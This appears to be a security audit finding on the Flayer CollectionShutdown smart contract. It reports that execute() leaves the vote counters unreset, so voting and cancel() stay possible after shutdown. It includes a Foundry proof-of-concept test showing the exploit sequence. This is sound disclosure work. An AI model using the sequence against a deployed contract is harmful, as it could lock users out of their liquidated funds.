Genuine Slate Sloth

High

# Broken Logic in CollectionShutdown::execute Function Leading to Multiple Vulnerabilities

## Summary
Several functions in the `CollectionShutdown` contract are broken due to missing logic in the `CollectionShutdown::execute` function.

## Vulnerability Detail
In the `CollectionShutdown::execute` function, the `shutdownVotes` and `quorumVotes` fields of the `_collectionParams[_collection]` state variable are not reset. This leads to several issues, which are listed in the `Impact` section. More details can be found in the `Proof of Concept` section.

[CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) function:
```Solidity
function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
    ...
    // Set the token IDs that have been sent to our sweeper pool
    params.sweeperPoolTokenIds = _tokenIds;
    // note Have case that two pools point to the same collection
    sweeperPoolCollection[pool] = _collection;

    // Update our collection parameters with the pool
    params.sweeperPool = pool;

    // Prevent the collection from being executed again
    params.canExecute = false;
    emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
}
```

## Impact
- Users can call the `CollectionShutdown::cancel` function even after the `CollectionShutdown::execute` function has been executed. As a result, users are unable to claim both ERC20 tokens and ETH after the collection has been fully liquidated.
- Users can still vote even after the collection has been shut down.
- Each collection can initiate the shutdown process only once, although the collection can be created multiple times.

## Proof of Concept
Copy this test case into the file `CollectionShutdown.t.sol` and run the command `forge test --mt test_cancelAfterExecute -vv` to see the results.

```Solidity
function test_cancelAfterExecute() external {
    // Create collection
    uint256 DENOMINATION = 6;
    locker.createCollection(address(erc721c), 'Test Collection', 'TEST', DENOMINATION);
    locker.setInitialized(address(erc721c), true);
    ICollectionToken collectionErc20Token = locker.collectionToken(address(erc721c));

    // Mint NFT for users
    address user1 = makeAddr('user1');
    address user2 = makeAddr('user2');
    erc721c.mint(user1, 1);
    erc721c.mint(user2, 2);

    // Deposit token
    uint256[] memory tokenIds = new uint256[](1);
    vm.startPrank(user1);
    tokenIds[0] = 1;
    erc721c.setApprovalForAll(address(locker), true);
    locker.deposit(address(erc721c), tokenIds);
    vm.stopPrank();

    vm.startPrank(user2);
    tokenIds[0] = 2;
    erc721c.setApprovalForAll(address(locker), true);
    locker.deposit(address(erc721c), tokenIds);
    vm.stopPrank();
    
    // Check total supply
    uint256 totalSupply = collectionErc20Token.totalSupply();
    assertEq(totalSupply, 2 ether * 10** DENOMINATION);
    
    // Initiate the process to shut down the collection
    vm.startPrank(user1);
    collectionErc20Token.approve(address(collectionShutdown), type(uint256).max);
    collectionShutdown.start(address(erc721c));
    vm.stopPrank();

    // Check shutdown params
    ICollectionShutdown.CollectionShutdownParams memory shutdownParams = collectionShutdown.collectionParams(address(erc721c));
    console.log('Shutdown Votes: ', shutdownParams.shutdownVotes);
    console.log('Quorum Votes:   ', shutdownParams.quorumVotes);
    assertEq(shutdownParams.canExecute, true);
    // Shutdown the collection
    collectionShutdown.execute(address(erc721c), tokenIds);
    assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, false);

    // User2 can still vote to shut down the collection; therefore, change shutdownParams.canExecute to true
    vm.startPrank(user2);
    collectionErc20Token.approve(address(collectionShutdown), type(uint256).max);
    collectionShutdown.vote(address(erc721c));
    vm.stopPrank();
    assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, true);

    // Create collection once again with little than denomination
    locker.createCollection(address(erc721c), 'Test Collection', 'TEST', 0);

    // User can call cancel function
    vm.startPrank(user2);
    collectionShutdown.cancel(address(erc721c));
    vm.stopPrank();
    assertEq(collectionShutdown.collectionParams(address(erc721c)).canExecute, false);
}
```

## Code Snippet
- [CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L275) function
- [CollectionShutdown::vote](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L181) function

## Tool used

Manual Review

## Recommendation
Carefully consider how to address this issue. If you reset the values of both `shutdownVotes` and `quorumVotes` in the `CollectionShutdown::execute` function, users will be able to initiate the collection shutdown process multiple times for the same collection, as the `Locker::createCollection` function can be called after the collection is shut down. As a result, fields in the `_collectionParams[_collection]` state variable will be overwritten. If you reset only the `quorumVotes` field, each collection can initiate the shutdown process only once, even though it can be created multiple times.